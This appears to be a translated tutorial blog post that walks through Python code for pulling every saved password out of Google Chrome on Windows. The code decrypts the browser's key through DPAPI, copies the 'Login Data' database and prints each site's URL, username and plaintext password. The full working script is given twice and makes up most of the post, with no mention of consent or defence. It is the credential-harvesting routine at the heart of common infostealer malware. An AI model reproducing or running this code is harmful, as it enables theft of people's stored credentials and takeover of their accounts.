Teach you to use Python to extract the password saved in the Chrome browser

@Author:Runsen

Since Chrome saves a large amount of browsing data locally to disk, in this tutorial, we will write Python code to extract the password saved in Chrome on a Windows computer.

First, let's install the required libraries:

pip install pycryptodome pypiwin32

Open a new Python file and import the necessary modules:

import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta

Before directly entering to extract the chrome password, we need to define some useful functions to help us in the main function.

def get_chrome_datetime(chromedate):
    """从chrome格式的datetime返回一个`datetime.datetime`对象
因为'chromedate'的格式是1601年1月以来的微秒数"""
    return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)

def get_encryption_key():
    local_state_path = os.path.join(os.environ["USERPROFILE"],"AppData", "Local", "Google", "Chrome","User Data", "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)

    # 从Base64解码加密密钥
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    # 删除 DPAPI str
    key = key[5:]
    # 返回最初加密的解密密钥
    # 使用从当前用户的登录凭据派生的会话密钥
    # 官方文档doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]


def decrypt_password(password, key):
    try:
        # 获取初始化向量
        iv = password[3:15]
        password = password[15:]
        # 生成密码
        cipher = AES.new(key, AES.MODE_GCM, iv)
        # 解密密码
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            # not supported
            return ""

get_chrome_datetime()The function is responsible for converting the chrome date format into a human-readable date and time format.

get_encryption_key()The function extracts and decodes the AES key used to encrypt the password, which is "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local Statestored in the path as a JSON file

decrypt_password() Take the encryption password and AES key as parameters, and return the decrypted version of the password.

The following are the main functions of main:

def main():
    # 获取AES密钥
    key = get_encryption_key()
    # 本地sqlite Chrome数据库路径
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local","Google", "Chrome", "User Data", "default", "Login Data")
    # 将文件复制到其他位置
    # 因为如果chrome当前正在运行,数据库将被锁定
    filename = "ChromeData.db"
    shutil.copyfile(db_path, filename)
    # 连接数据库
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    # 登录表中有我们需要的数据
    cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
    # iterate over all rows
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        date_created = row[4]
        date_last_used = row[5]        
        if username or password:
            print(f"Origin URL: {origin_url}")
            print(f"Action URL: {action_url}")
            print(f"Username: {username}")
            print(f"Password: {password}")
        else:
            continue
        if date_created != 86400000000 and date_created:
            print(f"Creation date: {str(get_chrome_datetime(date_created))}")
        if date_last_used != 86400000000 and date_last_used:
            print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
        print("="*50)
    cursor.close()
    db.close()
    try:
        # 尝试删除复制的db文件
        os.remove(filename)
    except:
        pass

First, we use the previously defined get_encryption_key() function to obtain the encryption key, and then we %USERPROFILE%\AppData\Local\Google\Chrome\User Data\default\Login Datacopy the sqlite database (located at the location where the password is saved) to the current directory and connect to it, this is because the original database file will be locked by Chrome. running.

After that, we perform a select query on the login table and traverse all login rows. We also decrypt each password date_createdand date_last_usedreformat the date and time into a more readable format.

Finally, we print the credentials and delete the database copy from the current directory.

Let us call the main function to perfectly extract the password saved by the Chrome browser:

Complete code

import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import  datetime, timedelta

def get_chrome_datetime(chromedate):
    """从chrome格式的datetime返回一个`datetime.datetime`对象
因为'chromedate'的格式是1601年1月以来的微秒数"""
    return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)

def get_encryption_key():
    local_state_path = os.path.join(os.environ["USERPROFILE"],
                                    "AppData", "Local", "Google", "Chrome",
                                    "User Data", "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)

    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
   
    key = key[5:]
    
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]


def decrypt_password(password, key):
    try:
        iv = password[3:15]
        password = password[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            # not supported
            return ""


def main():
    key = get_encryption_key()
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                            "Google", "Chrome", "User Data", "default", "Login Data")
    filename = "ChromeData.db"
    shutil.copyfile(db_path, filename)
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
    # iterate over all rows
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        date_created = row[4]
        date_last_used = row[5]        
        if username or password:
            print(f"Origin URL: {origin_url}")
            print(f"Action URL: {action_url}")
            print(f"Username: {username}")
            print(f"Password: {password}")
        else:
            continue
        if date_created != 86400000000 and date_created:
            print(f"Creation date: {str(get_chrome_datetime(date_created))}")
        if date_last_used != 86400000000 and date_last_used:
            print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
        print("="*50)

    cursor.close()
    db.close()
    try:
        # try to remove the copied db file
        os.remove(filename)
    except:
        pass


if __name__ == "__main__":
    main()